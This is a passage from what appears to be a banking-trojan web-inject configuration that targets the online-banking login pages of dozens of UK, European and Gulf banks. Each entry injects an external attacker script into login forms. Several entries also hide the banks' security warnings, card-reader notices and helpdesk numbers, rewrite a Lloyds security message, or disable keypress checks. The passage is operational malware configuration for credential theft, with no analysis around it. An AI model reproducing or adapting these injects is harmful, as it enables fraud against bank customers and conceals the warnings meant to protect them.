  630. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.kbc\.be/</url>
  631. </conditions>
  632. <actions>
  633. <modify>
  634. <pattern modifiers="isU"><![CDATA[(<form.*id="ID_LOGONFORM".*</form>)]]></pattern>
  635. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  636. </modify>
  637. </actions>
  638. </httpinject>
  639. <httpinject>
  640. <conditions>
  641. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://lloydslink\.online\.lloydsbank\.com/Logon/Logon\.jsp
  642. </url>
  643. </conditions>
  644. <actions>
  645. <modify>
  646. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  647. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  648. </modify>
  649. <modify>
  650. <pattern modifiers="isU"><![CDATA[name="GENERATOR">.*</HEAD>]]></pattern>
  651. <replacement><![CDATA[name="GENERATOR"></HEAD>]]></replacement>
  652. </modify>
  653. </actions>
  654. </httpinject>
  655. <httpinject>
  656. <conditions>
  657. <url type="allow" onpost="1" onget="1" modifiers="iU">^https?://www\.lloydsbankcommercial\.com/servicemessage
  658. </url>
  659. </conditions>
  660. <actions>
  661. <modify>
  662. <pattern modifiers="isU"><![CDATA[(</title>)]]></pattern>
  663. <replacement><![CDATA[\1
  664. <style>
  665. body {display:none;}
  666. </style>
  667. <script>
  668. $(document).ready(function() {
  669. //$('em:contains("If you receive a request to confirm personal contact information do not respond")').parent().hide();
  670. //$('div.cms-content:contains("Call the LloydsLink online Help Desk")').children().css('visibility', 'hidden');
  671. $('div.cms-content:contains("If you receive a request to confirm personal contact information do not respond")').attr('id', 'secid');
  672. //$('strong:contains("LLOYDSLINK ONLINE SECURITY")').parent().attr('id', 'secid');
  673. //$('p:contains("If you have any questions, the Helpdesk can be contacted on")').hide().next().hide();
  674. $('#secid').find('p').remove();
  675. $('#secid').append('<p><strong>1) IMPORTANT SECURITY INFORMATION</strong>&nbsp;<img title="Urgent Message" alt="Urgent Message" src="/uploadedImages/Service_Message/Content/urgent(1).jpg"> &nbsp;</p><p><em>21 October</em>&nbsp;</p><p>&nbsp;</p><p>Lloyds Banking Group is aware that the Dyre malware (also known as Dyreza) is currently actively targeting financial institutions across the UK including customers of LloydsLink online.</p><p>&nbsp;<br>This is not a vulnerability within LloydsLink online but malware that resides on infected computer systems designed to steal user log-in credentials.</p><p>&nbsp;<br>We recommend you:</p><p>&nbsp;</p><p>1.&nbsp;Work with your IT security providers to confirm that your anti-malware solution is capable of detecting and removing the very latest variants of Dyre.</p><p>2.&nbsp;Carry out comprehensive scans of any systems used to access LloydsLink, as well as any other financial service institution or financial orientated software that you use and transact on.</p><p>3.&nbsp;Change Passwords and memorable information, following the comprehensive scans of your systems.</p><p><br>Please remember it is important to check all beneficiary details, especially bank sort codes and account numbers, before creating and approving all payments.</p><p>&nbsp;</p><p>For more information on protecting your payments please visit our <strong><a class="tu" title="Security Centre" href=" https://www.lloydsbankcommercial.com/lloydslinkonlinesupport/security/?utm_source=Main&amp;amp;utm_medium=sw_update&amp;amp;utm_term=na&amp;amp;utm_content=na&amp;amp;utm_campaign=sm">Security Centre</a></strong>.&nbsp;<br>&nbsp;</p><p><span>&nbsp;</span>&nbsp;</p><p><a class="tu" title="Protect Yourself And Your Payments - Green" href="https://www.lloydsbankcommercial.com/lloydslinkonlinesupport/security/"><img title="Protect Yourself And Your Payments - Green" alt="Protect Yourself And Your Payments - Green" src="/uploadedImages/Service_Message/Content/ProtectYourselfAndYourPayments-Green.jpg" border="0"></a>&nbsp;</p>');
  676. //var pIndex = $('#secid').parent().children().index($('#secid'));
  677. //$('#secid').parent().find('> *:gt('+pIndex+')').hide();
  678. //$('#secid').replaceWith('<p> <strong>3) KEEPING YOUR PC SECURE <img title="Reminder Message" alt="Reminder Message" src="/uploadedImages/Service_Message/Content/reminder(1).jpg" /> </strong> </p><p><strong></strong> </p><p><strong>Protect against viruses</strong> </p><p> </p><ul><li>Use anti-virus software and <strong>ensure that it is kept up to date </strong>- this should protect your computer against the latest viruses</li><li>Use up-to-date anti-spyware software to protect against programs that fraudsters can use to collect information about your Internet usage</li></ul><p> </p><p><strong>Keep your software up-to-date</strong> </p><p> </p><p>Occasionally publishers discover vulnerabilities in their products and issue \'patches\' to protect against any security threats. It is important that you regularly visit the website of the company which produces your operating system (e.g. Windows XP) and browser (e.g. Internet Explorer) to check for any patches or updates they may have issued.</p><p> </p><p> </p>');
  679. $('body').show();
  680. });
  681. </script>
  682. ]]></replacement>
  683. </modify>
  684. </actions>
  685. </httpinject>
  686. <httpinject>
  687. <conditions>
  688. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://(retail|corporate)\.metrobankonline\.co\.uk</url>
  689. </conditions>
  690. <actions>
  691. <modify>
  692. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  693. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  694. </modify>
  695. </actions>
  696. </httpinject>
  697. <httpinject>
  698. <conditions>
  699. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://cardservicing\.mint\.co\.uk/RBSG\_Consumer/Login\.do</url>
  700. </conditions>
  701. <actions>
  702. <modify>
  703. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  704. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  705. </modify>
  706. </actions>
  707. </httpinject>
  708. <httpinject>
  709. <conditions>
  710. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://online\.nbad\.com/iportalweb/iportal/jsps/orbilogin\.jsp</url>
  711. </conditions>
  712. <actions>
  713. <modify>
  714. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  715. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  716. </modify>
  717. </actions>
  718. </httpinject>
  719. <httpinject>
  720. <conditions>
  721. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://nbf\.ae/corporate/BANKAWAY(;|\?|$)</url>
  722. </conditions>
  723. <actions>
  724. <modify>
  725. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  726. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  727. </modify>
  728. <modify>
  729. <pattern modifiers="i"><![CDATA[( class="post")]]></pattern>
  730. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  731. </modify>
  732. <modify>
  733. <pattern modifiers="i"><![CDATA[( class="phone")]]></pattern>
  734. <replacement><![CDATA[\1 style="visibility:hidden;"]]></replacement>
  735. </modify>
  736. </actions>
  737. </httpinject>
  738. <httpinject>
  739. <conditions>
  740. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://nbqonline\.ae/corp/BANKAWAY\?Action\.CorpUser\.Init</url>
  741. </conditions>
  742. <actions>
  743. <modify>
  744. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  745. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  746. </modify>
  747. <modify>
  748. <pattern modifiers="isU"><![CDATA[<a href="javascript.*Trouble&.*</span>]]></pattern>
  749. <replacement><![CDATA[]]></replacement>
  750. </modify>
  751. </actions>
  752. </httpinject>
  753. <httpinject>
  754. <conditions>
  755. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://onlinebanking\.nationwide\.co\.uk/AccessManagement/Login</url>
  756. </conditions>
  757. <actions>
  758. <modify>
  759. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  760. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  761. </modify>
  762. </actions>
  763. </httpinject>
  764. <httpinject>
  765. <conditions>
  766. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.bankline\.natwest\.com/CWSLogon/</url>
  767. </conditions>
  768. <actions>
  769. <modify>
  770. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  771. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  772. </modify>
  773. <modify>
  774. <pattern modifiers="i"><![CDATA[(phoneAdvice_nwb\.png")]]></pattern>
  775. <replacement><![CDATA[\1 style="visibility:hidden;" id="phoneAdvice"]]></replacement>
  776. </modify>
  777. <modify>
  778. <pattern modifiers="i"><![CDATA[(readerAdvice_nwb\.png")]]></pattern>
  779. <replacement><![CDATA[\1 style="visibility:hidden;" id="phoneAdvice"]]></replacement>
  780. </modify>
  781. </actions>
  782. </httpinject>
  783. <httpinject>
  784. <conditions>
  785. <url type="allow" onpost="1" onget="1" modifiers="iU">^https?://www\.business\.natwest\.com/afb/public/nwb/AFBRoot/mainhome/2morover/accounts</url>
  786. </conditions>
  787. <actions>
  788. <modify>
  789. <pattern modifiers="isU"><![CDATA[(div class="applyNowMain")]]></pattern>
  790. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  791. </modify>
  792. </actions>
  793. </httpinject>
  794. <httpinject>
  795. <conditions>
  796. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ib\d*\.npbs\.co\.uk/IB\.Web/Login\.aspx</url>
  797. </conditions>
  798. <actions>
  799. <modify>
  800. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  801. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  802. </modify>
  803. </actions>
  804. </httpinject>
  805. <httpinject>
  806. <conditions>
  807. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://elementa\.otpbanka\.hr/gradjani/.*/foweb/nb/eLEMENTa</url>
  808. </conditions>
  809. <actions>
  810. <modify>
  811. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  812. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  813. </modify>
  814. </actions>
  815. </httpinject>
  816. <httpinject>
  817. <conditions>
  818. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://www\.otpbanka\.hr/english/welcome\.htm</url>
  819. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://www\.otpbanka\.hr/html/dobrodosli\.htm</url>
  820. </conditions>
  821. <actions>
  822. <modify>
  823. <pattern modifiers="i"><![CDATA[onclick="provjera_fp]]></pattern>
  824. <replacement><![CDATA[onclick="window.location.href='https://elementa.otpbanka.hr/gradjani/OTP-gradjani.exe/foweb/nb/eLEMENTa';return false;this.focus]]></replacement>
  825. </modify>
  826. </actions>
  827. </httpinject>
  828. <httpinject>
  829. <conditions>
  830. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://net\.pbz\.hr/pbz365/logon.*</url>
  831. </conditions>
  832. <actions>
  833. <modify>
  834. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  835. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  836. </modify>
  837. </actions>
  838. </httpinject>
  839. <httpinject>
  840. <conditions>
  841. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://comnet\.pbz\.hr/PbzComnetWeb/app/logon\.html</url>
  842. </conditions>
  843. <actions>
  844. <modify>
  845. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  846. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  847. </modify>
  848. </actions>
  849. </httpinject>
  850. <httpinject>
  851. <conditions>
  852. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://e\-finance\.postfinance\.ch/(ef/secure|secure/fp)/html/</url>
  853. </conditions>
  854. <actions>
  855. <modify>
  856. <pattern modifiers=""><![CDATA[(</form>)]]></pattern>
  857. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  858. </modify>
  859. </actions>
  860. </httpinject>
  861. <httpinject>
  862. <conditions>
  863. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://professionalson\-line\.bankofscotlandbusiness\.co\.uk/\_mem\_bin/formslogin\.asp</url>
  864. </conditions>
  865. <actions>
  866. <modify>
  867. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  868. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  869. </modify>
  870. </actions>
  871. </httpinject>
  872. <httpinject>
  873. <conditions>
  874. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://(edi|del|hkg|lon|sta)\.my\.rbs\.com</url>
  875. </conditions>
  876. <actions>
  877. <modify>
  878. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  879. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  880. </modify>
  881. <modify>
  882. <pattern modifiers="i"><![CDATA[(function checkKey\(e\))]]></pattern>
  883. <replacement><![CDATA[\1{}function checkKey1(e)]]></replacement>
  884. </modify>
  885. </actions>
  886. </httpinject>
  887. <httpinject>
  888. <conditions>
  889. <url type="allow" onpost="1" onget="1" modifiers="iU">^https?://www.rbs\.co\.uk/corporate/electronic\-services/g1/bankline\.ashx
  890. </url>
  891. </conditions>
  892. <actions>
  893. <modify>
  894. <pattern modifiers="isU"><![CDATA[<div class="right">.*<div>.*<div class="sidebar extRHS">]]></pattern>
  895. <replacement><![CDATA[<div class="right" style="display:none;"><div><div class="sidebar extRHS">]]></replacement>
  896. </modify>
  897. </actions>
  898. </httpinject>
  899. <httpinject>
  900. <conditions>
  901. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://access\.rbsm\.com/logon/(password|dp300)/.+\.fcc(\?|$)</url>
  902. </conditions>
  903. <actions>
  904. <modify>
  905. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  906. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  907. </modify>
  908. </actions>
  909. </httpinject>
  910. <httpinject>
  911. <conditions>
  912. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://business\.santander\.co\.uk/LGSBBI\_NS\_ENS/</url>
  913. </conditions>
  914. <actions>
  915. <modify>
  916. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  917. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  918. </modify>
  919. </actions>
  920. </httpinject>
  921. <httpinject>
  922. <conditions>
  923. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://corporate\.santander\.co\.uk/LOGSCU_NS_ENS/</url>
  924. </conditions>
  925. <actions>
  926. <modify>
  927. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  928. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  929. </modify>
  930. </actions>
  931. </httpinject>
  932. <httpinject>
  933. <conditions>
  934. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.sbnet\.splitskabanka\.hr/priv/.*/dciweb\.htm</url>
  935. </conditions>
  936. <actions>
  937. <modify>
  938. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  939. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  940. </modify>
  941. </actions>
  942. </httpinject>
  943. <httpinject>
  944. <conditions>
  945. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://vpn.*\.sjp\.co\.uk/vpn/vpnloginpage\.html</url>
  946. </conditions>
  947. <actions>
  948. <modify>
  949. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  950. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  951. </modify>
  952. </actions>
  953. </httpinject>
  954. <httpinject>
  955. <conditions>
  956. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.tescobank\.com/sss/auth</url>
  957. </conditions>
  958. <actions>
  959. <modify>
  960. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  961. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  962. </modify>
  963. </actions>
  964. </httpinject>
  965. <httpinject>
  966. <conditions>
  967. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://banking\.triodos\.co\.uk/ib\-seam/login\.seam\?loginType=dp550</url>
  968. </conditions>
  969. <actions>
  970. <modify>
  971. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  972. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  973. </modify>
  974. <modify>
  975. <pattern modifiers="i"><![CDATA[document\.forms\['loginForm'\]\.onkeypress]]></pattern>
  976. <replacement><![CDATA[var fnc934]]></replacement>
  977. </modify>
  978. </actions>
  979. </httpinject>
  980. <httpinject>
  981. <conditions>
  982. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ebanking\-ch\d+\.ubs\.com/workbench/Index\.do</url>
  983. </conditions>
  984. <actions>
  985. <modify>
  986. <pattern modifiers=""><![CDATA[(</html>)]]></pattern>
  987. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>
  988. <!--
  989. <script type="text/javascript" language="JavaScript">
  990. setTimeout(function() {
  991. document.body.style.visibility = 'visible';
  992. }, 7000);
  993. </script>
  994. -->
  995. ]]></replacement>
  996. </modify>
  997. <modify>
  998. <pattern modifiers=""><![CDATA[(div id="div_securityinfo_content")]]></pattern>
  999. <replacement><![CDATA[\1 style="visibility:hidden;"]]></replacement>
  1000. </modify>
  1001. </actions>
  1002. </httpinject>
  1003. <httpinject>
  1004. <conditions>
  1005. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\.ulsterbankanytimebanking\.co\.uk/(login|default)\.aspx</url>
  1006. </conditions>
  1007. <actions>
  1008. <modify>
  1009. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1010. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1011. </modify>
  1012. </actions>
  1013. </httpinject>
  1014. <httpinject>
  1015. <conditions>
  1016. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.ulsterbankanytimebanking\.co\.uk/(login|default)\.aspx</url>
  1017. </conditions>
  1018. <actions>
  1019. <modify>
  1020. <pattern modifiers="i"><![CDATA[(class="frame securityImage")]]></pattern>
  1021. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  1022. </modify>
  1023. </actions>
  1024. </httpinject>
  1025. <httpinject>
  1026. <conditions>
  1027. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.bankline\.ulsterbank\.(ie|co\.uk)/CWSLogon/</url>
  1028. </conditions>
  1029. <actions>
  1030. <modify>
  1031. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1032. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1033. </modify>
  1034. <modify>
  1035. <pattern modifiers="i"><![CDATA[(securitywarn\_ulster\.jpg")]]></pattern>
  1036. <replacement><![CDATA[\1 style="visibility:hidden;" id="phoneAdvice"]]></replacement>
  1037. </modify>
  1038. <modify>
  1039. <pattern modifiers="i"><![CDATA[(cardReader\_ulster\.jpg")]]></pattern>
  1040. <replacement><![CDATA[\1 style="visibility:hidden;"]]></replacement>
  1041. </modify>
  1042. </actions>
  1043. </httpinject>
  1044. <httpinject>
  1045. <conditions>
  1046. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.hvbrsce\.com/ebanking/London/EXE/WBankDsp\.exe</url>
  1047. </conditions>
  1048. <actions>
  1049. <modify>
  1050. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  1051. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  1052. </modify>
  1053. </actions>
  1054. </httpinject>
  1055. <httpinject>
  1056. <conditions>
  1057. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.unb\.com/uninet/main\_login\.asp</url>
  1058. </conditions>
  1059. <actions>
  1060. <modify>
  1061. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1062. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1063. </modify>
  1064. <modify>
  1065. <pattern modifiers="isU"><![CDATA[<tr><td align="center"><a href="safety_flyer\.htm".*</tr>]]></pattern>
  1066. <replacement><![CDATA[]]></replacement>
  1067. </modify>
  1068. <modify>
  1069. <pattern modifiers="isU"><![CDATA[<tr><td align="center"><b><font face="Arial" size="3">.*</tr>]]></pattern>
  1070. <replacement><![CDATA[]]></replacement>
  1071. </modify>
  1072. </actions>
  1073. </httpinject>
  1074. <httpinject>
  1075. <conditions>
  1076. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://cib\.uab\.ae/</url>
  1077. </conditions>
  1078. <actions>
  1079. <modify>
  1080. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1081. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1082. </modify>
  1083. </actions>
  1084. </httpinject>
  1085. <httpinject>
  1086. <conditions>
  1087. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.unity\-online\.co\.uk</url>
  1088. </conditions>
  1089. <actions>
  1090. <modify>
  1091. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1092. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1093. </modify>
  1094. </actions>
  1095. </httpinject>
  1096. <httpinject>
  1097. <conditions>
  1098. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://online\.ybs\.co\.uk/public/authentication/login1\.do</url>
  1099. </conditions>
  1100. <actions>
  1101. <modify>
  1102. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1103. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1104. </modify>
  1105. </actions>
  1106. </httpinject>
  1107. <httpinject>
  1108. <conditions>
  1109. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.zaba\.hr/ebank/gradjani/InnerLogin\.jsp</url>
  1110. </conditions>
  1111. <actions>
  1112. <modify>
  1113. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1114. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1115. </modify>
  1116. </actions>
  1117. </httpinject>
  1118. <httpinject>
  1119. <conditions>
  1120. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.nwolb\.com/(login|default)\.aspx
  1121. </url>
  1122. </conditions>
  1123. <actions>
  1124. <modify>
  1125. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1126. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1127. </modify>
  1128. <modify>
  1129. <pattern modifiers="i"><![CDATA[(class="frame securityImage")]]></pattern>
  1130. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  1131. </modify>
  1132. </actions>
  1133. </httpinject>
  1134. <httpinject>
  1135. <conditions>
  1136. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://banking\.lloydsbank\.com/Logon/logon\.aspx(\?|$)
  1137. </url>
  1138. </conditions>
  1139. <actions>
  1140. <modify>
  1141. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1142. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1143. </modify>
  1144. <modify>
  1145. <pattern modifiers="i"><![CDATA[ class="message">Reminder.*</span>]]></pattern>
  1146. <replacement><![CDATA[></span>]]></replacement>
  1147. </modify>
  1148. </actions>
  1149. </httpinject>
  1150. <httpinject>
  1151. <conditions>
  1152. <url type="allow" onpost="1" onget="1" modifiers="">^https://onlinebusiness\.lloydsbank\.co\.uk/business/logon/login\.jsp
  1153. </url>
  1154. </conditions>
  1155. <actions>
  1156. <modify>
  1157. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1158. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1159. </modify>
  1160. </actions>
  1161. </httpinject>
  1162. <httpinject>
  1163. <conditions>
  1164. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://direkt\.rba\.hr/cgi\-bin/ppz2/start/rbat\.jsp</url>
  1165. </conditions>
  1166. <actions>
  1167. <modify>
  1168. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1169. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1170. </modify>
  1171. </actions>
  1172. </httpinject>
  1173. <httpinject>
  1174. <conditions>
  1175. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://bbank\d+\.ybonline\.co\.uk/ifdu/ifdlm\-web/login\.ctl</url>
  1176. </conditions>
  1177. <actions>
  1178. <modify>
  1179. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1180. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1181. </modify>
  1182. </actions>
  1183. </httpinject>
  1184. <httpinject>
  1185. <conditions>
  1186. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://home\d+\.ybonline.co\.uk/ralu/reglm\-web/login\.ctl</url>
  1187. </conditions>
  1188. <actions>
  1189. <modify>
  1190. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1191. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1192. </modify>
  1193. </actions>
  1194. </httpinject>
  1195. <httpinject>
  1196. <conditions>
  1197. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ibank\d*\.bib\.barclays\.com/logon/</url>
  1198. </conditions>
  1199. <actions>
  1200. <modify>
  1201. <pattern modifiers="msU"><![CDATA[(\<head.*\>)]]></pattern>
  1202. <replacement><![CDATA[\1
  1203. <style type="text/css">
  1204. body {visibility: hidden; }
  1205. </style>
  1206. <script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>
  1207. <script type="text/javascript">setTimeout(function(){document.body.style.visibility = 'visible';}, 5000);</script>
  1208. ]]></replacement>
  1209. </modify>
  1210. </actions>
  1211. </httpinject>
  1212. <httpinject>
  1213. <conditions>
  1214. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://fiepay\.mashreqbank\.com/Login\.asp</url>
  1215. </conditions>
  1216. <actions>
  1217. <modify>
  1218. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1219. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1220. </modify>
  1221. <modify>
  1222. <pattern modifiers="i"><![CDATA[(href="SecurityAlert\.htm")]]></pattern>
  1223. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  1224. </modify>
  1225. </actions>
  1226. </httpinject>
  1227. <httpinject>
  1228. <conditions>
  1229. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://banking\.mashreqbank\.com/FID/login\.aspx</url>
  1230. </conditions>
  1231. <actions>
  1232. <modify>
  1233. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  1234. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  1235. </modify>
  1236. <modify>
  1237. <pattern modifiers="i"><![CDATA[(id="ContactTable")]]></pattern>
  1238. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  1239. </modify>
  1240. </actions>
  1241. </httpinject>
  1242. <httpinject>
  1243. <conditions>
  1244. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://netbanking\.mashreqbank\.com/EntlWeb/IbsJsps/orbilogin\.jsp</url>
  1245. </conditions>
  1246. <actions>
  1247. <modify>
  1248. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1249. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1250. </modify>
  1251. </actions>
  1252. </httpinject>
  1253. <httpinject>
  1254. <conditions>
  1255. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://netbanking\.mashreqbank\.com/B001/SMELogin\.jsp</url>
  1256. </conditions>
  1257. <actions>
  1258. <modify>
  1259. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1260. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1261. </modify>
  1262. <modify>
  1263. <pattern modifiers="i"><![CDATA[<span class="text-1"><i class="icon-ok"></i> Need assistance call <span>.*</span></span>]]></pattern>
  1264. <replacement><![CDATA[]]></replacement>
  1265. </modify>
  1266. </actions>
  1267. </httpinject>
  1268. <httpinject>
  1269. <conditions>
  1270. <url type="allow" onpost="1" onget="1" modifiers="">^https://online\-business\.tsb\.co\.uk/business/logon/login\.jsp</url>
